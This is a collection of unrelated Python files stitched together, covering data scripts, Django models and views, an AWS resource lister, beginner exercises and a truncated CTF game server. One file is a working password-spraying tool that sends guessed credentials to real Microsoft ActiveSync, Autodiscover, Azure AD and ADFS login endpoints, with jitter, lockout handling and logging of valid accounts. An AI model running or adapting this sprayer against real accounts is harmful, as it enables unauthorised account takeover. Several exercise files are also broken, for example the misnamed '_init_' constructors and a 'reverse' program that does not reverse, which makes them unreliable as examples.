import pandas as pd from datetime import datetime def transform(pull): createdAt = datetime.strptime(pull['criado_em'], "%Y-%m-%dT%H:%M:%SZ") closedAt = datetime.strptime(pull['fechado_em'], "%Y-%m-%dT%H:%M:%SZ") diff = closedAt - createdAt hours = int(diff.total_seconds() / 3600) return { "tamanho": pull['tamanho'], "tempo_de_analise": hours, "descricao": pull['descricao'], "interacoes": pull['comentarios'], "reviews": pull['reviews'] } def start(repo_limit): df = pd.read_csv('tmp/repos/repositories.csv') repo_names = [df.iloc[index].to_dict()['nome'] for index in range(0, repo_limit)] columns = ["comentarios", "descricao", "estado", "reviews", "tamanho"] files = [] for name in repo_names: df = pd.read_csv('tmp/sampled_data/{}.csv'.format(name), usecols = ['criado_em', 'fechado_em', "comentarios", "descricao", "tamanho", "reviews"]) files.append(pd.DataFrame([transform(row) for index, row in df.iterrows()])) df = pd.concat(files) df.to_csv('report.csv', index=False)
#!/usr/bin/env python # Write a Python program which accepts the user's first and last name and print them in reverse order with a space between them. first = str(input("Enter your first name:")) last = str(input("Enter your last name:")) def fullName(firstName, lastName): fullName = firstName + ' ' + lastName # print(fullName [::-1]) print(fullName) fullName(first,last)
# -*-coding: utf-8 -*- from django.db import models from django.contrib.auth.models import User from produtos.models import Produto from datetime import datetime from statics import STATUS_CHOICES class Pedido(models.Model): cliente = models.ForeignKey(User, blank=True, null=True) status = models.CharField(max_length=1, choices=STATUS_CHOICES) data_criacao = models.DateTimeField(default=datetime.now()) commentarios = models.TextField(blank=True) @property def valor_total(self): total = 0.0 for produto in self.produtos.all(): total += float(produto.valor_total) return total def __unicode__(self): return u'%s <%s @ %s>' % (self.cliente, self.valor_total, self.data_criacao) class ProdutoPedido(models.Model): pedido = models.ForeignKey(Pedido, related_name='produtos') produto = models.ForeignKey(Produto, related_name='itens_pedido') valor_unitario = models.DecimalField(max_digits=7, decimal_places=2) quantidade = models.PositiveIntegerField() commentarios = models.TextField(blank=True) @property def valor_total(self): return self.quantidade * self.produto.preco class Carrinho(models.Model): cliente = models.ForeignKey(User, blank=True, null=True, related_name='carrinho') criacao = models.DateTimeField(default=datetime.now()) finalizado = models.BooleanField(default=False) class Meta: get_latest_by = 'criacao' class ItemCarrinho(models.Model): carrinho = models.ForeignKey(Carrinho, related_name='itens') produto = models.ForeignKey(Produto) quantidade = models.PositiveIntegerField() def _get_valor_total(self): return self.quantidade * self.produto.get_preco() valor_total = property(_get_valor_total) def __unicode__(self): return self.produto.nome
import sys import getopt import parser1 def conllu(fp): returnList = [] for line in fp.readlines(): if(line[0] == "#"): continue wordList = line.split() returnList.append(wordList) if not wordList: temp_return = returnList returnList=[] yield temp_return def trees(fp,me): for tree in conllu(fp): pos = list() word = list() label = list() Head = list() bigList = list() word.append('<ROOT>') pos.append('<ROOT>') label.append('<ROOT>') Head.append(0) if len(tree) > 1: for tokens in tree: if len(tokens)>0: word.append(tokens[1]) pos.append(tokens[3]) label.append(tokens[7]) if tokens[6]=='_': continue Head.append(int(tokens[6])) bigList.append(word) bigList.append(pos) bigList.append(label) bigList.append(Head) else: bigList.append(["<End>"]) bigList.append(["<End>"]) bigList.append(["<End>"]) bigList.append(0) yield bigList def evaluate(train_file, test_file): n_examples = None # Set to None to train on all examples with open(train_file,encoding="utf-8") as fp: for i, (words, gold_tags, gold_arclabels, gold_tree) in enumerate(trees(fp,1)): if(words[0] == "<ROOT>"): parser1.update(words, gold_tags, gold_arclabels, gold_tree) #print("\rUpdated with sentence #{}".format(i)) if n_examples and i >= n_examples: print("Finished training") break else: print("Finished training") break
import json import pprint import boto3 import json from datetime import datetime from .apply_filter import apply_filters from .client import get_client from .resource_filter import * RESULT_TYPE_LENGTH = 3 PARAMETERS = { 'cloudfront': { 'ListCachePolicies': { 'Type': 'custom' }, }, 'ec2': { 'DescribeSnapshots': { 'OwnerIds': ['self'] }, 'DescribeImages': { 'Owners': ['self'] }, }, 'ecs': { 'ListTaskDefinitionFamilies': { 'status': 'ACTIVE', } }, 'elasticbeanstalk': { 'ListPlatformVersions': { 'Filters': [{ 'Operator': '=', 'Type': 'PlatformOwner', 'Values': ['self'] }] } }, 'emr': { 'ListClusters': { 'ClusterStates': ['STARTING', 'BOOTSTRAPPING', 'RUNNING', 'WAITING', 'TERMINATING'], } }, 'iam': { 'ListPolicies': { 'Scope': 'Local' }, }, 'ssm': { 'ListDocuments': { 'DocumentFilterList': [{ 'key': 'Owner', 'value': 'self' }] }, }, 'waf-regional': { 'ListLoggingConfigurations': { 'Limit': 100, }, }, } ssf = list( boto3.Session( region_name='us-east-1' ).client('cloudformation').meta.service_model.shape_for('ListStacksInput').members['StackStatusFilter'].member.enum ) ssf.remove('DELETE_COMPLETE') PARAMETERS.setdefault('cloudformation', {})['ListStacks'] = {'StackStatusFilter': ssf} def run_raw_listing_operation(service, region, operation, profile): """Execute a given operation and return its raw result""" client = get_client(service, region, profile) api_to_method_mapping = dict((v, k) for k, v in client.meta.method_to_api_mapping.items()) parameters = PARAMETERS.get(service, {}).get(operation, {}) op_model = client.meta.service_model.operation_model(operation) required_members = op_model.input_shape.required_members if op_model.input_shape else [] if "MaxResults" in required_members: # Current limit for cognito identity pools is 60 parameters["MaxResults"] = 10 return getattr(client, api_to_method_mapping[operation])(**parameters) class FilteredListing(object): def __init__(self, input, directory='./', unfilter=None): self.input = input self.directory = directory self.unfilter = [] if unfilter is None else unfilter @property def resource_types(self): """The list of resource types (Keys with list content) in the response""" return list(self.resources.keys()) @property def resource_total_count(self): """The estimated total count of resources - can be incomplete""" return sum(len(v) for v in self.resources.values()) def export_resources(self, filename): """Export the result to the given JSON file""" with open(filename, 'w') as outfile: outfile.write(pprint.pformat(self.resources).encode('utf-8')) def __str__(self): opdesc = '{} {} {} {}'.format(self.input.service, self.input.region, self.input.operation, self.input.profile) if len(self.resource_types) == 0 or self.resource_total_count == 0: return '{} (no resources found)'.format(opdesc) return opdesc + ', '.join('#{}: {}'.format(key, len(listing)) for key, listing in self.resources.items()) @property def resources(self): """Transform the response data into a dict of resource names to resource listings""" if not(self.input.response): return self.input.response.copy() response = self.input.response.copy() complete = True del response['ResponseMetadata'] complete = apply_filters(self.input, self.unfilter, response, complete) unfilterList = self.unfilter # Following two if-blocks rely on certain JSON-files being present, hence the DEPENDENT_OPERATIONS # in query.py. May need rework to function without dependencies. # Special handling for service-level kms keys; derived from alias name. if 'kmsListKeys' not in unfilterList and self.input.service == 'kms' and self.input.operation == 'ListKeys': try: aliases_file = '{}_{}_{}_{}.json'.format(self.input.service, 'ListAliases', self.input.region, self.input.profile) aliases_file = self.directory + '/' + aliases_file aliases_listing = RawListing.from_json(json.load(open(aliases_file, 'rb'))) list_aliases = aliases_listing.response service_key_ids = [ k.get('TargetKeyId') for k in list_aliases.get('Aliases', []) if k.get('AliasName').lower().startswith('alias/aws') ] response['Keys'] = [k for k in response.get('Keys', []) if k.get('KeyId') not in service_key_ids] except Exception as exc: self.input.error = repr(exc) # Filter default Internet Gateways if 'ec2InternetGateways' not in unfilterList and self.input.service == 'ec2' and self.input.operation == 'DescribeInternetGateways': try: vpcs_file = '{}_{}_{}_{}.json'.format(self.input.service, 'DescribeVpcs', self.input.region, self.input.profile) vpcs_file = self.directory + '/' + vpcs_file vpcs_listing = RawListing.from_json(json.load(open(vpcs_file, 'rb'))) describe_vpcs = vpcs_listing.response vpcs = {v['VpcId']: v for v in describe_vpcs.get('Vpcs', [])} internet_gateways = [] for ig in response['InternetGateways']: attachments = ig.get('Attachments', []) # more than one, it cannot be default. if len(attachments) != 1: continue vpc = attachments[0].get('VpcId') if not vpcs.get(vpc, {}).get('IsDefault', False): internet_gateways.append(ig) response['InternetGateways'] = internet_gateways except Exception as exc: self.input.error = repr(exc) for key, value in response.items(): if not isinstance(value, list): raise Exception('No listing: {} is no list:'.format(key), response) if not complete: response['truncated'] = [True] # Update JSON-file in case an error occurred during resources-processing if len(self.input.error) > RESULT_TYPE_LENGTH: self.input.error = '!!!' with open('{}_{}_{}_{}.json'.format( self.input.service, self.input.operation, self.input.region, self.input.profile), 'w') as jsonfile: json.dump(self.input.to_json(), jsonfile, default=datetime.isoformat) return response class RawListing(object): """Represents a listing operation on an AWS service and its result""" def __init__(self, service, region, operation, response, profile, error=''): self.service = service self.region = region self.operation = operation self.response = response self.profile = profile self.error = error def to_json(self): return { 'service': self.service, 'region': self.region, 'profile': self.profile, 'operation': self.operation, 'response': self.response, 'error': self.error, } @classmethod def from_json(cls, data): return cls( service=data.get('service'), region=data.get('region'), profile=data.get('profile'), operation=data.get('operation'), response=data.get('response'), error=data.get('error') ) def __str__(self): opdesc = '{} {} {} {}'.format(self.service, self.region, self.operation, self.profile) if len(self.resource_types) == 0 or self.resource_total_count == 0: return '{} (no resources found)'.format(opdesc) return opdesc + ', '.join('#{}: {}'.format(key, len(listing)) for key, listing in self.resources.items()) @classmethod def acquire(cls, service, region, operation, profile): """Acquire the given listing by making an AWS request""" response = run_raw_listing_operation(service, region, operation, profile) # if response['ResponseMetadata']['HTTPStatusCode'] != 200: # raise Exception('Bad AWS HTTP Status Code', response) return cls(service, region, operation, response, profile) @property def resources(self): # pylint:disable=too-many-branches """Transform the response data into a dict of resource names to resource listings""" if not(self.response): return self.response.copy() response = self.response.copy() complete = True del response['ResponseMetadata'] #complete = apply_filters(self, response, complete) for key, value in response.items(): if not isinstance(value, list): raise Exception('No listing: {} is no list:'.format(key), response) if not complete: response['truncated'] = [True] return response class ResultListing(object): """Represents a listing result summary acquired from the function acquire_listing""" def __init__(self, input, result_type, details): self.input = input self.result_type = result_type self.details = details @property def to_tuple(self): """Return a tiple of strings describing the result of an executed query""" return (self.result_type, self.input.service, self.input.region, self.input.operation, self.input.profile, self.details)
from django.contrib.auth import authenticate, login, logout from django.db import IntegrityError from rest_framework import generics, status, views from rest_framework.response import Response from rest_framework.permissions import AllowAny, IsAuthenticated from core.enums import PersonGroup from .enums import RequestStatus from .helpers import filter_employee_request_permission_wise from .models import EmployeeRequest from .serializers import RequestListSerializer, RequestSerializer class RequestListView(generics.ListCreateAPIView): """ get: Return a list of employee request Authenticate user will get list data set will be based on user person group post: Create a new request by log in user Authenticate users can create new request """ permission_classes = (IsAuthenticated, ) def get_serializer_class(self): if self.request.method == 'GET': return RequestListSerializer else: return RequestSerializer def get_queryset(self): queryset = EmployeeRequest.objects.all().select_related( 'request_by', 'processed_by', ) queryset = filter_employee_request_permission_wise(self, queryset) return queryset.order_by('id') def perform_create(self, serializer): serializer.save(request_by=self.request.user) class RequestDetailsView(generics.RetrieveUpdateDestroyAPIView): """ get: details data of a employee request update: a request can be updated by hr and manage users """ permission_classes = (IsAuthenticated, ) lookup_field = 'pk' queryset = EmployeeRequest.objects.all() def get_serializer_class(self): if self.request.method == 'GET': return RequestListSerializer elif self.request.method == 'PATCH': return RequestSerializer else: return RequestSerializer def update(self, request, *args, **kwargs): try: # employee user can not update a request if request.user.person_group == PersonGroup.EMPLOYEE.value: content = {'error': '{}'.format('You have no permission to update a request')} return Response(content, status=status.HTTP_400_BAD_REQUEST) return super(RequestDetailsView, self).update(request, *args, **kwargs) except IntegrityError as exception: content = {'error': '{}'.format(exception)} return Response(content, status=status.HTTP_400_BAD_REQUEST)
#!/usr/bin/env python # encoding: utf-8 import commands # beg = 6 # end = 10 # for k in range(beg, end+2, 2): # logfile = 'dat/proto-end-pack1-k%d.log' % k # cmd = './mt_test %d 0 >%s 2>&1' % (k, logfile) # commands.getoutput(cmd) run_beg = 20 step = 5000 run = range(run_beg, 40, 1) for r in run: k = 10 port_beg = 1025+(r-1)*step port_end = port_beg+step logfile = 'dat/proto-end-pack1-k%d-%d-%d.log' % (k, port_beg, port_end) cmd = './mt_test %d %d %d >%s 2>&1' % (k, port_beg, port_end, logfile) commands.getoutput(cmd) print "run %d finished" % r
#!/usr/bin/env python3 # Based on: https://bitbucket.org/grimhacker/office365userenum/ # https://github.com/Raikia/UhOh365 # https://github.com/dafthack/MSOLSpray # '-> https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f # https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py import re import time import random import urllib3 import asyncio import requests import concurrent.futures import concurrent.futures.thread from functools import partial from requests.auth import HTTPBasicAuth from core.utils.config import * from core.utils.helper import * from core.utils.colors import text_colors urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Sprayer: valid_creds = [] # Valid credentials storage tested_creds = [] # Tested credentials storage helper = Helper() # Helper functions def __init__(self, loop, userlist, args): self.args = args self.loop = loop self.lockout = 0 self.userlist = userlist self.proxies = None if not self.args.proxy else { "http": self.args.proxy, "https": self.args.proxy } self.executor = concurrent.futures.ThreadPoolExecutor( max_workers=self.args.rate ) # Spray Modules self._modules = { 'autodiscover': self._autodiscover, 'activesync': self._activesync, 'msol': self._msol, 'adfs': self._adfs } def shutdown(self, key=False): # Print new line after ^C msg = '\n\n[*] Writing valid credentials found to file \'%s/spray/valid_users\'...' % self.args.output msg += '\n[*] Please see %s/spray/sprayed_creds.txt for all spray attempts.' % self.args.output if key: msg = '\n[!] CTRL-C caught.' + msg print(msg) # https://stackoverflow.com/a/48351410 # https://gist.github.com/yeraydiazdiaz/b8c059c6dcfaf3255c65806de39175a7 # Unregister _python_exit while using asyncio # Shutdown ThreadPoolExecutor and do not wait for current work import atexit atexit.unregister(concurrent.futures.thread._python_exit) self.executor.shutdown = lambda wait:None # Write the tested creds self.helper.write_tested(self.tested_creds, "%s/spray/sprayed_creds.txt" % (self.args.output)) # Write the valid accounts self.helper.write_data(self.valid_creds, "%s/spray/valid_users.txt" % (self.args.output)) """ Template for HTTP Request """ def _send_request(self, request, url, auth=None, data=None, headers=Config.headers): if self.args.sleep > 0: sleep = self.args.sleep if self.args.jitter > 0: sleep = sleep + int(sleep * float(random.randint(1, self.args.jitter) / 100.0)) if self.args.debug: print(f"\n[DEBUG]\tSleeping for {sleep} seconds before sending request...") time.sleep(sleep) return request( # Send HTTP request url, auth=auth, data=data, headers=headers, proxies=self.proxies, timeout=self.args.timeout, allow_redirects=False, verify=False ) """ Asyncronously Send HTTP Requests """ async def run(self, password): blocking_tasks = [ self.loop.run_in_executor(self.executor, partial(self._modules[self.args.spray_type], user=user, password=password)) for user in self.userlist ] if blocking_tasks: await asyncio.wait(blocking_tasks) """ Asyncronously Send HTTP Requests """ async def run_paired(self, passlist): blocking_tasks = [ self.loop.run_in_executor(self.executor, partial(self._modules[self.args.spray_type], user=user, password=password)) for user, password in zip(self.userlist, passlist) ] if blocking_tasks: await asyncio.wait(blocking_tasks) # ============================= # == -- AcitveSync MODULE -- == # ============================= """ Spray users on Microsoft using Microsoft Server ActiveSync https://bitbucket.org/grimhacker/office365userenum/ """ def _activesync(self, user, password): try: # Add special header for ActiveSync headers = Config.headers # Grab external headers from config.py headers["MS-ASProtocolVersion"] = "14.0" # Build email if not already built email = self.helper.check_email(user, self.args.domain) # Keep track of tested names in case we ctrl-c self.tested_creds.append('%s:%s' % (email, password)) time.sleep(0.250) auth = HTTPBasicAuth(email, password) url = "https://outlook.office365.com/Microsoft-Server-ActiveSync" response = self._send_request(requests.options, url, auth=auth, headers=headers) status = response.status_code # Note: 403 responses no longer indicate that an authentication attempt was valid, but now indicates # invalid authentication attempts (whether it be invalid username or password). 401 responses # also indicate an invalid authentication attempt if status == 200: print("[%sVALID_CREDS%s]\t\t%s:%s%s" % (text_colors.green, text_colors.reset, email, password, self.helper.space)) self.valid_creds.append('%s:%s' % (email, password)) self.userlist.remove(user) # Remove valid user from being sprayed again else: print("[%sINVALID%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, password, self.helper.space), end='\r') except Exception as e: if self.args.debug: print("\n[ERROR]\t\t\t%s" % e) pass # =============================== # == -- Autodiscover MODULE -- == # =============================== """ Spray users on Microsoft using Microsoft Autodiscover https://github.com/Raikia/UhOh365 """ def _autodiscover(self, user, password): try: # Check if we hit our locked account limit, and stop if self.lockout >= self.args.safe: return # Build email if not already built email = self.helper.check_email(user, self.args.domain) # Keep track of tested names in case we ctrl-c self.tested_creds.append('%s:%s' % (email, password)) time.sleep(0.250) auth = HTTPBasicAuth(email, password) url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" response = self._send_request(requests.get, url, auth=auth) status = response.status_code if status == 200: print("[%sVALID_CREDS%s]\t\t%s:%s%s" % (text_colors.green, text_colors.reset, email, password, self.helper.space)) self.valid_creds.append('%s:%s' % (email, password)) self.userlist.remove(user) # Remove valid user from being sprayed again elif status == 456: msg = password + " (Manually confirm [MFA, Locked, etc.])" print("[%sFOUND_CREDS%s]\t\t%s:%s%s" % (text_colors.green, text_colors.reset, email, password, self.helper.space)) self.valid_creds.append('%s:%s' % (email, password)) self.userlist.remove(user) # Remove valid user from being sprayed again else: # Handle Autodiscover errors that are returned by the server if "X-AutoDiscovery-Error" in response.headers.keys(): # Handle Basic Auth blocking basic_errors = [ "Basic Auth Blocked", "BasicAuthBlockStatus - Deny", "BlockBasicAuth - User blocked" ] if any(_str in response.headers["X-AutoDiscovery-Error"] for _str in basic_errors): msg = password + " (Basic Auth blocked for this user. Removing from spray rotation.)\n" print("[%sBLOCKED%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, msg, self.helper.space), end='\r') self.userlist.remove(user) # Remove basic auth blocked user from being sprayed again else: # Handle AADSTS errors - remove user from future rotations if any(code in response.headers["X-AutoDiscovery-Error"] for code in Config.AADSTS_codes.keys()): # This is where we handle lockout termination # Note: It appears that Autodiscover is now showing lockouts on accounts that are valid that failed # authentication so we ignore this handling for now. if code == "AADSTS50053": self.lockout += 0 # 1 # Keep track of locked accounts seen err = Config.AADSTS_codes[code][0] msg = password + " (%s. Removing from spray rotation.)\n" % (Config.AADSTS_codes[code][1]) print("[%s%s%s]%s%s:%s%s" % (text_colors.red, err, text_colors.reset, Config.AADSTS_codes[code][2], email, msg, self.helper.space), end='\r') self.userlist.remove(user) else: print("[%sINVALID%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, password, self.helper.space), end='\r') else: print("[%sINVALID%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, password, self.helper.space), end='\r') except Exception as e: if self.args.debug: print("\n[ERROR]\t\t\t%s" % e) pass # ======================= # == -- MSOL MODULE -- == # ======================= """ Spray users on Microsoft using Azure AD https://github.com/dafthack/MSOLSpray https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f """ def _msol(self, user, password): try: # Check if we hit our locked account limit, and stop if self.lockout >= self.args.safe: return # Build email if not already built email = self.helper.check_email(user, self.args.domain) # Keep track of tested names in case we ctrl-c self.tested_creds.append('%s:%s' % (email, password)) time.sleep(0.250) headers = Config.headers # Grab external headers from config.py headers['Accept'] = 'application/json', headers['Content-Type'] = 'application/x-www-form-urlencoded' data = { 'resource': 'https://graph.windows.net', 'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', 'client_info': '1', 'grant_type': 'password', 'username': email, # TODO: Do we want username or email here... 'password': password, 'scope': 'openid' } url = "https://login.microsoft.com/common/oauth2/token" response = self._send_request(requests.post, url, data=data, headers=headers) status = response.status_code if status == 200: print("[%sVALID_CREDS%s]\t\t%s:%s%s" % (text_colors.green, text_colors.reset, email, password, self.helper.space)) self.valid_creds.append('%s:%s' % (email, password)) self.userlist.remove(user) # Remove valid user from being sprayed again else: body = response.json() error = body['error_description'].split('\r\n')[0] # Handle AADSTS errors - remove user from future rotations if any(code in error for code in Config.AADSTS_codes.keys()): # This is where we handle lockout termination # For now, we will just stop future sprays if a single lockout is hit if code == "AADSTS50053": self.lockout += 1 # Keep track of locked accounts seen err = Config.AADSTS_codes[code][0] msg = password + " (%s. Removing from spray rotation.)\n" % (Config.AADSTS_codes[code][1]) print("[%s%s%s]%s%s:%s%s" % (text_colors.red, err, text_colors.reset, Config.AADSTS_codes[code][2], email, msg, self.helper.space), end='\r') self.userlist.remove(user) else: print("[%sINVALID%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, password, self.helper.space), end='\r') except Exception as e: if self.args.debug: print("\n[ERROR]\t\t\t%s" % e) pass # ======================= # == -- ADFS MODULE -- == # ======================= """ Spray users via a managed ADFS server https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py """ def _adfs(self, user, password): try: headers = Config.headers # Grab external headers from config.py # Build email if not already built email = self.helper.check_email(user, self.args.domain) # Keep track of tested names in case we ctrl-c self.tested_creds.append('%s:%s' % (email, password)) # Fix the ADFS URL for each user since the AuthUrl was pulled during validation using a # bogus user adfs_url = re.sub('username=user', f'username={user}', self.args.adfs) time.sleep(0.250) data = "UserName=%s&Password=%s&AuthMethod=FormsAuthentication" % (email, password) url = adfs_url response = self._send_request(requests.post, url, data=data, headers=headers) status = response.status_code if status == 302: print("[%sVALID_CREDS%s]\t\t%s:%s%s" % (text_colors.green, text_colors.reset, email, password, self.helper.space)) self.valid_creds.append('%s:%s' % (email, password)) self.userlist.remove(user) # Remove valid user from being sprayed again else: print("[%sINVALID%s]\t\t%s:%s%s" % (text_colors.red, text_colors.reset, email, password, self.helper.space), end='\r') except Exception as e: if self.args.debug: print("\n[ERROR]\t\t\t%s" % e) pass
import string import random import time # This is an exercise from the codementor website. # The code generates a password after asking the user questions about the required composition of the password - how long, how many letters and how many numbers. # There should be a mix of upper and lower case letters and at least 6 characters. # I decided to restrict password length to 12 characters and mandate at least one symbol. # I used string and random methods to create samples of x length for the different components of the password. # Another option would be to iterate over a password string, appending chars x times. # I would like to include error handling in this (eg prevent floats being entered), need to revisit this! # Next step is to think about test data. Can set up a database and call into an array? """ Name: passwordGenerator Inputs: strings to hold password length "length", number of letters "letters" and number of numbers "numbers" Outputs: string "passwordString" Preconditions: 6<=length=>12, (letters + numbers + 1)<=length (where 1 represents at least one symbol) Postconditions: the password contains randonly generated characters and composition and length is as defined by the user Initial insights - the function is called with a call with no argument - a dialogue asks the user how long the password should be and saves to "length" variable - a dialogue asks the user how many letters they want and saves to "letters" variable, checks if the numbers are possible and catches input errors. - a dialogue asks the user how many numbers they want and saves to "numbers" variable, checks if the numbers are possible and catches input errors. - the code calculates number of symbol chars - use string methods to set up strings containing all of the possible letters, numbers and symbols. - use random.sample() to save to a list random characters from each string, number of each required from letters, numbers and symbols vars. - a while loop checks that the letters list contains both upper and lower case chars - concatenate the three lists into one, use random.shuffle() to mix up the component parts and convert to a string. """ def passwordGenerator(): #set up variables to manage the number of characters the user can request at each stage lengthOk = False lettersOk = False numbersOk = False symbolsOk = False password = "" #enter the length of the password. Do not exit the loop until the entered number is within bounds. length = int(input("Hi. This is the password generator. How long would you like your password to be? Enter a whole number between 6 and 12 please: ")) while lengthOk == False: if(length<6 or length>12): print ("Sorry - please make sure your password is a whole number between 6 and 12.") else: print("Great, thanks.") lengthOk = True #enter the number of letters in password. #Must be 2 or more as we need at least one uc and one lc, and not greater than pasword length -2 to allow at least one number and one symbol. #Do not exit loop until condition is met while lettersOk == False: letters = int(input("Now, let us know how many letters you want in your password: ")) if(letters <=1 or letters >(length-2)): print("Sorry -please make sure the number of letters is greater than 1 and less than", length-1) else: print("Great, thanks. Got the number of letters!") lettersOk = True #enter the number of numbers in password. #Must be >=1 and not greater than pasword length - letters - 1 to allow at least one symbol to be added #Do not exit loop until condition is met while numbersOk == False: numbers = int(input("Now, let us know how many numbers you want in your password: ")) if(numbers <=0 or numbers >(length-letters-1)): print("Sorry -please make sure the number of numbers is greater than 0 and less than", length-letters) else: print("Great, thanks. Got the number of numbers!") numbersOk = True # now calculate how many symbols symbols = length-letters-numbers print("There will also be", symbols, "symbols in your password") # now to generate the password. # use String methods to put all of each sort of character in a suitably named list allLetters= string.ascii_letters allNumbers = string.digits allSymbols = string.punctuation #take a random sample of the right size and save into letterList print("Now adding", letters, "letters to the password") #while loop to repeat creation of list until it meets mixed case condition mixed = False while mixed == False: letterList = random.sample(allLetters, letters) letterString =''.join(letterList) #if the chars are not all upper and not all lower if(letterString.isupper()==False) and (letterString.islower()==False): mixed = True print("Letters chosen at random:",letterList) #take a random sample of the right size and save into numberList print("Now adding", numbers, "numbers to the password") numberList = random.sample(allNumbers, numbers) print("Numbers chosen at random:",numberList) #take a random sample of the right size and save into symbolList print("Now adding", symbols, "symbols to the password") symbolList = random.sample(allSymbols, symbols) print("Symbols chosen at random:",symbolList) #now build and shuffle the password list then convert to string passwordList = letterList + numberList + symbolList print(passwordList) random.shuffle(passwordList) print("Shuffled password list is", passwordList) #now convert the list to a string with no spaces passwordString = ''.join(passwordList) print("Password string is:", passwordString) print(passwordGenerator())
class Node: def _init_(self,value): self.data = value self.next = None class LL: def _init_(self): self.head = None def add (self, value): # create a new node new_node = Node(value) #point to head new_node.next = self.head #reasign head self.head = new_node def add_tail(self,value): new_node = Node(value) if self.head is None: self.head = new_node else: temp = self.head while temp.next is not None: temp = temp.next temp.next = new_node def add_after(self,after,value): temp = self.head while temp is not None: if temp.data == after: break temp = temp.next if temp is None: print("Not found") else: new_node= Node(value) new_node.next = temp.next temp.next = new_node def remove_tail(self): if self.head is None: print("List empty") else: temp = self.head if temp.next is None: self.head = None else: while temp.next.next is not None: temp = temp.next temp.next = None def remove_head(self): if self.head is None: print("Empty") else: self.head = self.head.next def remove(self,value): if self.head.data == value: return self.remove_head() temp = self.head while temp.next is not None: if temp.next.data == value: break temp = temp.next if temp.next is None: print("Not there") else: temp.next = temp.next.next def traverse(self): temp = self.head while temp is not None: print(temp.data, end = " ") temp = temp.next def search(self,value): temp = self.head pos = 0 while temp is not None: if temp.data == value: return pos pos+=1 temp = temp.next return "Not found" def replace_max(self,value): max = self.head temp = self.head while temp is not None: if temp.data> max.data: max = temp temp = temp.next max.data = value def sumAlternateNode(head): count = 0 sum = 0 while (head != None): if (count % 2 != 0): sum = sum + head.data count = count + 1 head = head.next return sum def reverse(self): prev_node = None curr_node = self.head while curr_node is not None: next_node = curr_node.next curr_node.next = prev_node prev_node = curr_node curr_node = next_node self.head = prev_node def change_sentence(self): temp = self.head while temp is not None: if temp.data == '*'or temp.data =='/': temp.data = ' ' if temp.next.data == '*' or temp.next.data == '/': temp.next.next.data = temp.next.next.data.upper() temp.next = temp.next.next temp = temp.next
#coding: utf-8 from socket import * import thread import sys from core import * def validate(): pass def post_flag(name, key, flag): pass def response(key): print 'Server response: ' + key return key def handler(clientsock, addr): clientsock.send(response(hello+'\ncmd: ')) #global game while 1: try: data = clientsock.recv(BUFF) except Exception as ex: print ex break if not data.rstrip().split(): print 'null data' clientsock.send(response('\ncmd: ')) continue # -- log -- log = """ #red return "\x1b[31mTest\x1b[0m" #\x1b[37;43mTest\x1b[0m #\x1b[4;35mTest\x1b[0m \x1b[1;31mСтрока\x1b[0m с \x1b[4;35;42mразными\x1b[0m \x1b[34;45mстилями\x1b[0m \x1b[1;33mоформления\x1b[0m """ #print log print repr(addr) + ' recv:' + repr(data) #clientsock.send(response(data)) #print repr(addr), ' sent:', repr(data) # -- log -- # -- cmd -- args = data.rstrip().split() if "reg" == args[0]: try: clientsock.send(response(game.add_user(args[1], args[2], addr))) except Exception as ex: print ex clientsock.send(response('bad data\ncmd: ')) elif "close" == args[0]: clientsock.send(response('good buy!\ncmd: ')) break elif "help" == args[0]: clientsock.send(response(help+'\ncmd: ')) elif "hello" == args[0]: clientsock.send(response(hello+'\ncmd: ')) elif "scoreboard" == args[0]: #{place}|{name}|{solved}|{score}|{bonus}| clientsock.send(response((scoreboard_title))) users = game.scoreboard() for i, user in enumerate(users): clientsock.send(response((scoreboard_user.format(place=i+1, name=user[0], solved=user[1], score=user[2], bonus=user[3])))) clientsock.send(response('\ncmd: ')) elif "tasks" == args[0]: #{place}|{name}|{link}|{price}| clientsock.send(response((tasks_title))) tasks = game.get_tasks() for i, task in enumerate(tasks): clientsock.send(response((tasks_body.format(id=i+1, name=task[0], link=task[1], price=task[2])))) clientsock.send(response('\ncmd: ')) elif "newtask" == args[0]: try: #(self, name=None, link=None, price=None, info=None, answer="1337") if game.add_task(args[1], args[2], args[3], args[4]): clientsock.send(response('task successfully created\ncmd: ')) except Exception as ex: print ex clientsock.send(response('error!\ncmd: ')) elif "flag" == args[0]: try: flag = args[1] user = game.get_user_by_name(args[3]) try: task = game.get_task_by_name(args[2]) clientsock.send(response(user.post_flag(task, flag))) clientsock.send(response('\ncmd: ')) except Exception as ex: clientsock.send(response(' Wronge taskname!\ncmd: ')) except Exception as ex: clientsock.send(response(' Wronge username!\ncmd: ')) elif "task" == args[0]: if not args[1]: print 'err' continue try: task = game.get_task_by_name(args[1]) #(self, name=None, link=None, price=None, info=None, answer="1337") clientsock.send(response(task_body.format(name=task.name, info=task.info, link=task.link))) clientsock.send(response('\ncmd: ')) except Exception as ex: print ex clientsock.send(response('error!\ncmd: ')) elif "user" == args[0]: if len(args)<1: print 'err' continue try: user = game.get_user_by_name(args[1]) #(self, name=None, link=None, price=None, info=None, answer="1337") clientsock.send(response(profile_body.format(name=user.name, place=game.get_user_place(user), tasks=user.solved_tasks_str(), score=user.score, bonus=user.bonus))) clientsock.send(response('\ncmd: ')) except Exception as ex: print ex clientsock.send(response('errno[15550]\ncmd: !')) elif "save" == args[0]: try: game.save() clientsock.send(response('Game successfully saved!\ncmd: ')) except Exception as ex: print ex else: clientsock.send(response('\ncmd: ')) # -- cmd -- clientsock.close() print addr, "- closed connection" #log on console if __name__=='__main__': #def start_serv(game): # server settings BUFF = 1024 HOST = ""#'127.0.0.1' PORT = 1337 ADDR = (HOST, PORT) serversock = socket(AF_INET, SOCK_STREAM) serversock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) serversock.bind(ADDR) serversock.listen(5) #TODO pasrse params # -- game settings -- game = 